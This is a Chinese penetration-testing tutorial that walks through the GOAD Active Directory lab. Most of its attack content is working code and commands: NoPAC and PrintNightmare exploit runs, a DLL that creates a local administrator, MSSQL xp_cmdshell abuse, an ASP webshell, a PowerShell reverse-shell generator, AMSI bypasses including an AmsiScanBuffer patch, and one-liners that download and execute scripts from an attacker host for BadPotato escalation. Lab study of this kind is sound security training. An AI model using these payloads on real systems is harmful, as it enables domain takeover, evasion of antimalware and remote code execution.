文章总结: 本文为内网渗透靶场实战补充,演示了利用NoPAC和PrintNightmare漏洞获取域控的过程。详细讲解了MSSQL服务攻击,包括SPN枚举、权限模拟及信任链利用。此外,涵盖IIS上传WebShell、绕过AMSI及使用BadPotato提权的操作。文档提供了具体命令与工具参考,对内网横向移动与提权具有实战指导意义。
综合评分: 88
文章分类: 内网渗透,渗透测试,漏洞POC,红队,WEB安全
内网渗透(九):靶场补充
JJ1ng
JJ1ng
JJ1ng
2026年2月1日 17:35
北京
0x00 简介
本章节主要是对《内网渗透(六):权限提升》一篇的靶场补充。个人才疏学浅,有未阐述清楚或遗漏的地方,可自行搜索相关资料参考学习。
主要内容:NoPAC、PrintNightmare、MSSQL Attack、AMSI Bypass 等。
| 所在域 | 用户名 | 密码 |
| — | — | — |
| | vagrant | vagrant |
| NORTH | arya.stark | Needle |
| NORTH | samwell.tarly | Heartsbane |
| NORTH | brandon.stark | iseedeadpeople |
| NORTH | hodor | hodor |
| NORTH | jon.snow | iknownothing |
| NORTH | robb.stark | sexywolfy |
| ESSOS.LOCAL | khal.drogo | horse |
| ESSOS.LOCAL | jorah.mormont | H0nnor! |
0x01 exploit with user
如下主要演示:NoPAC 以及 PrintNightmare。
参考链接:https://mayfly277.github.io/posts/GOADv2-pwning-part5/
1. saMAccountName(NoPAC)
saMAccountName 漏洞(也被叫做 NoPAC),结合 CVE-2021-42278 和 CVE-2021-42287 两个漏洞进行的利用,能在只有域普通用户的情况下获取域控权限。根据官方 WriteUp 无法复现,具体可参考:https://github.com/Orange-Cyberdefense/GOAD/issues/145
工具地址:https://github.com/Ridter/noPac
参考链接:https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
# 查询 ms-DS-MachineAccountQuota 属性的值,来查看当前域允许普通用户创建的计算机账户上限
nxc ldap 192.168.56.12 -u khal.drogo -p horse -M maq
# 工具 NetExec,探测是否存在漏洞
nxc smb meereen.essos.local -u khal.drogo -p horse -d essos.local -M nopac
# 脚本 noPac
python noPac.py essos.local/khal.drogo:horse -dc-ip 192.168.56.12 --impersonate administrator -dump
python noPac.py essos.local/khal.drogo:horse -dc-ip 192.168.56.12 --impersonate administrator -shell
2. PrintNightmare
PrintNightmare,漏洞编号为 CVE-2021-34527,Windows 系统的打印服务存在逻辑缺陷,在拥有域用户的情况下,可欺骗系统(如域控)加载恶意的 DLL 文件。
工具地址:https://github.com/cube0x0/CVE-2021-1675
参考链接:https://mp.weixin.qq.com/s/Vceup70C9USoM4JwK-6Z9w
# 探测 Print Spooler 服务是否开启
nxc smb 192.168.56.10-23 -M spooler
# 探测目标是否开启 MS-RPRN 服务
impacket-rpcdump @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
将下述代码编译成 DLL 文件,并将生成的 DLL 进行匿名共享,最后结合 EXP 来完成漏洞利用。
#include <windows.h>
int RunCMD()
{
system("net users pnightmare Passw0rd123. /add");
system("net localgroup administrators pnightmare /add");
return0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
RunCMD();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
# 编译命令
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
# 在 /share 目录下开启 SMB 匿名共享
impacket-smbserver -smb2support -debug share .
# 漏洞攻击
python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.56.3\share\nightmare.dll'
nxc smb meereen.essos.local -u pnightmare -p "Passw0rd123."
如果存在杀软拦截,可使用所给链接脚本来进行绕过,脚本地址:https://github.com/newsoft/adduser
# 将 adduser.c 编译成 DLL 文件
x86_64-w64-mingw32-gcc -shared -opnightmare2.dll adduser.c -lnetapi32
# 漏洞攻击
python3 CVE-2021-1675.py DOMAIN/USER:PASS@IP '\\evil_sever\pnightmare2.dll'
0x02 MSSQL
该章节主要演示攻击域内 MSSQL 服务,及有关 MSSQL 的后利用。
参考链接:https://mayfly277.github.io/posts/GOADv2-pwning-part7/
1. Enumerate the MSSQL servers
通过枚举 SPN 信息,可在不进行大规模端口扫描的情况下,精准识别出域内运行的关键服务。
# 工具 impacket,可在域外查询指定域且注册在域用户下的 SPN,需要提供一个有效的域凭据
impacket-GetUserSPNs north.sevenkingdoms.local/brandon.stark:iseedeadpeople
impacket-GetUserSPNs -target-domain essos.local north.sevenkingdoms.local/brandon.stark:iseedeadpeople
通过 nxc 工具进行扫描探测,成功获取到数据库的访问权限。由于 essos.local 域中不存在 samwell.tarly 用户,且与 north.sevenkingdoms.local 存在信任关系,所以才会存在下图的差异。注:如果 Kali 自带的 nxc 无法扫描出结果,可在 Github 下载最新版。
nxc mssql 192.168.56.22-23 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local
使用 impacket 工具来连接到 MSSQL 服务器,输入 help 来获取帮助信息。
impacket-mssqlclient -windows-auth north.sevenkingdoms.local/samwell.tarly:[email protected]
2. impersonate – execute as login
在 SQL Server 中有种配置叫做 EXECUTE AS,是一个功能强大的 Impersonation(身份切换)机制。简单来说,它允许用户在执行代码时,以另一个账户的权限来完成操作。如果给普通账户配置 sa 的权限,即可实现垂直越权的危害。
在 mssqlclient 脚本中,可以通过 enum_impersonate 参数来获取可“模拟”的权限。
用户 samwell.tarly 可模拟 sa 用户权限,并可通过 xp_cmdshell 执行系统命令。
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
另外,用户 brandon.stark 可模拟 jon.snow 的权限,而 jon.snow 又是 MSSQL 的系统管理员,所以还可通过 brandon.stark 实现垂直越权。
impacket-mssqlclient -windows-auth north.sevenkingdoms.local/brandon.stark:[email protected]
3. impersonate – execute as user
用户 arya.stark 拥有对数据库 master 和 msdb 的 dbo 权限(当前数据库的最高权限),且数据库 msdb 设置了 trustworthy 属性(msdb 数据库的默认值)。注:开启该属性,可实现跨数据库操作。
impacket-mssqlclient -windows-auth north.sevenkingdoms.local/arya.stark:[email protected]
4. Coerce and relay
可以通过 xp_dirtree 组件来触发 NTLM 认证,结合中继攻击完成利用,但靶场并未设计相关漏洞。
impacket-mssqlclient -windows-auth north.sevenkingdoms.local/hodor:[email protected]
xp_dirtree \\192.168.56.3\demo
5. trusted links
靶场配置了 north.sevenkingdoms.local 与 essos.local 之间的 MSSQL 信任关系,可通过 castelblack 上的 MSSQL 服务访问 braavos 上的 MSSQL 服务。如下所示,可使用 north\jon.snow 用户来访问 essos.local\braavos 上的 MSSQL 服务。
impacket-mssqlclient -windows-auth north.sevenkingdoms.local/jon.snow:[email protected]
# 也可通过 brandon.stark 来模拟 jon.snow
impacket-mssqlclient -windows-auth north.sevenkingdoms.local/brandon.stark:[email protected]
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
0x03 Privilege escalation
该章节主要演示域内提权,主要通过土豆家族来实现的。
参考链接:https://mayfly277.github.io/posts/GOADv2-pwning-part8/
1. IIS
主机 castelblack 上搭建了 IIS 服务,且存在文件上传漏洞,上传如下 Webshell 来实现命令执行。
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
Enter command:
<FORM action="" method="POST">
<input type="text" name="param" size=45value="<%= myValue %>">
<input type="submit"value="Run">
</FORM>
<p>
Result :
<%
myValue = request("param")
thisDir = getResult("cmd /c" & myValue)
Response.Write(thisDir)
%>
</p>
<br>
</BODY>
</HTML>
通过如下脚本来对 Powershell 反弹 Shell 进行 BASE64 编码,并通过上述的 WebShell 来执行。
#!/usr/bin/env python
import base64
import sys
if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
2. Privesc
由于 Castelblack 默认禁用 Windows Defender,为了开展测试及引出相关内容,这里需先启用该防护,可通过 vagrant 用户来开启。
工具地址:https://github.com/S3cur3Th1sSh1t/PowerSharpPack
参考链接:https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
2.1 AMSI Bypass
由于 AMSI(Anti-Malware Scan Interface,反恶意软件扫描接口)的存在,导致执行无法执行敏感操作,所以这里第一步就是需要绕过 AMSI。可通过如下代码来绕过 AMSI。注:不绕过 AMSI,后续的提权无法开展。
# 方式一
[Runtime.InteropServices.Marshal]::WriteInt32(([Ref].Assembly.GetType(('{2}{0}{1}'-f'ent.Automation.A','msiUtils','System.Managem')).GetField(('{0}{1}'-f 'amsi','Context'),'NonPublic,Static').GetValue($null)),0x41414141)
# 方式二
$p = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*iUt*" }; $f = $p.GetFields('NonPublic,Static') | Where-Object { $_.Name -like "*siContext*" }; [Runtime.InteropServices.Marshal]::WriteInt32($f.GetValue($null), 0x41414141)
绕过对 Powershell 的 AMSI 检测后,还需绕过对 .NET 的 AMSI 检测,相关原由和原理,可参考:https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
# Patching amsi.dll AmsiScanBuffer by rasta-mouse
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
(new-object system.net.webclient).downloadstring('http://192.168.56.3:8080/amsi_rmouse.txt') | IEX
2.2 SeImpersonatePrivilege to Authority\system
通过先前的内容可知道,当前 IIS 的启动用户是拥有 SeImpersonatePrivilege 权限,如此可通过土豆家族来进行提权。
先创建一个 Powershell 反弹 Shell 的批处理脚本。
这里通过 PowerSharpPack 工具中的 Invoke-BadPotato.ps1 脚本来完成提权操作。
# 绕过 AMSI
[Runtime.InteropServices.Marshal]::WriteInt32(([Ref].Assembly.GetType(('{2}{0}{1}'-f'ent.Automation.A','msiUtils','System.Managem')).GetField(('{0}{1}'-f 'amsi','Context'),'NonPublic,Static').GetValue($null)),0x41414141); (new-object system.net.webclient).downloadstring('http://192.168.56.3:8080/amsi_rmouse.txt') | IEX
# BadPotato 提权
mkdir C:\temp; cd C:\temp;(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.3:8080/runme.bat','c:\temp\runme.bat'); iex(new-object net.webclient).downloadstring('http://192.168.56.3:8080/Invoke-BadPotato.ps1'); Invoke-BadPotato -Command "c:\temp\runme.bat"
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:JJ1ng JJ1ng
JJ1ng《内网渗透(九):靶场补充》